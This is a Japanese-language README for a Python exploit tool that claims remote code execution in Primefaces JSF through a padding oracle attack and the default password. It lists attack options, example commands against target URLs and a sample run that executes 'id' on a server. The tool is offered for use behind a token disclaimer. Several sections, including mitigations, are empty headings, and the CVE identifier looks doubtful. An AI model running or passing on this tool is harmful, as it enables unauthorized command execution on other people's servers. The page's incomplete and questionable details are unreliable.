
PythonベースのCVE-2020-1039909エクスプロイト。Primefaces JSFにおけるリモートコード実行の脆弱性です。パディングオラクル攻撃を介して任意のコマンドを実行し、プロキシ、クッキー、POCモードのオプションを備えています。
============================================================
脆弱性について
CVE-2020-1039909 は、Primefaces JSF フレームワークにおけるリモートコード実行(RCE)の脆弱性です。この欠陥により、攻撃者は Padding Oracle 攻撃を通じてサーバー上で任意のコマンドを実行できます。これは、脆弱な暗号化とデフォルトパスワードの使用が原因です。
影響を受けるバージョン:
影響:
============================================================
前提条件
依存関係のインストール:
pip install requests pycryptodome paddingoracle
============================================================
利用可能なコマンド
基本パラメータ:
target ターゲットの URL(例: http://target.com) -pw, --password Primefaces のパスワード(デフォルト: primefaces) -pt, --path dynamiccontent.properties へのパス (デフォルト: /javax.faces.resource/dynamiccontent.properties.xhtml) -c, --cmd 実行するコマンド(デフォルト: whoami) -poc, --poc テストペイロードを使用(脆弱性の確認のみ) -px, --proxy プロキシを設定(例: http://127.0.0.1:8080) -ck, --cookie クッキーを設定 -o, --oracle Padding Oracle 攻撃を有効化(1 = 有効、0 = 無効) (デフォルト: 0)(低速) -pl, --payload 暗号化された EL ペイロード(Padding Oracle と併用)
============================================================
使用例
python3 exploit.py http://target.com
python3 exploit.py http://target.com -c "id"
python3 exploit.py http://target.com --poc
python3 exploit.py http://target.com -px http://127.0.0.1:8080
python3 exploit.py http://target.com -ck "JSESSIONID=xxx"
python3 exploit.py http://target.com -o 1 -c "whoami"
python3 exploit.py http://target.com -pl "暗号化されたペイロード"
============================================================
出力例
$ python3 exploit.py http://target.com -c "id"
[] Generated Encrypted Payload: xyz123... [] Attempting to execute: id
POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1 ...
HTTP/1.1 200 OK ...
[+] Exploit Result:
HTTP/1.1 200 OK ...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
POC モード(脆弱性テスト)
POC モードは、危険なコマンドを実行せずにターゲットが脆弱かどうかのみを確認します:
python3 exploit.py http://target.com --poc
脆弱な場合の期待される出力:
[+] BANG!!! :D - Target IS VULNERABLE!!!
脆弱でない場合の出力:
[-] Target Probably NOT VULNERABLE :-(
============================================================
PADDING ORACLE(低速モード)
デフォルトの攻撃が機能しない場合(レスポンスボディが空)、Padding Oracle モードを試してください。このモードは低速ですがより効果的です:
python3 exploit.py http://target.com -o 1 -c "whoami"
============================================================
プロキシとデバッグ
Burp Suite でリクエストを分析する場合:
python3 exploit.py http://target.com -px http://127.0.0.1:8080
============================================================
一般的なエラーと解決策
"Response body empty... Target might not be vulnerable" Padding Oracle モードを試してください: -o 1
"Target Probably NOT VULNERABLE" ターゲットがパッチ適用済みか、デフォルトパスワードを使用していない可能性があります
"Connection refused" ターゲットがアクセス可能かどうかを確認してください
"SSL Error" https の代わりに http を使用するか、証明書を無視してください
============================================================
エクスプロイトのヒント
============================================================
免責事項
このソフトウェアは教育目的およびテスト目的で提供されています。作者は、このツールの不正使用に起因するいかなる損害、損失、または結果についても責任を負いません。
ユーザーは自身の行動に対して単独で責任を負います。許可なくシステムに対してこのエクスプロイトを使用することは違法であり、民事および刑事上の罰則が科される可能性があります。
責任を持って倫理的に使用してください。知識は共有されるべきものですが、知恵とはそれをどのように、いつ使用するかを知ることです。
============================================================
緩和策(管理者向け)
============================================================
参照
============================================================
Developed by byt3l0rd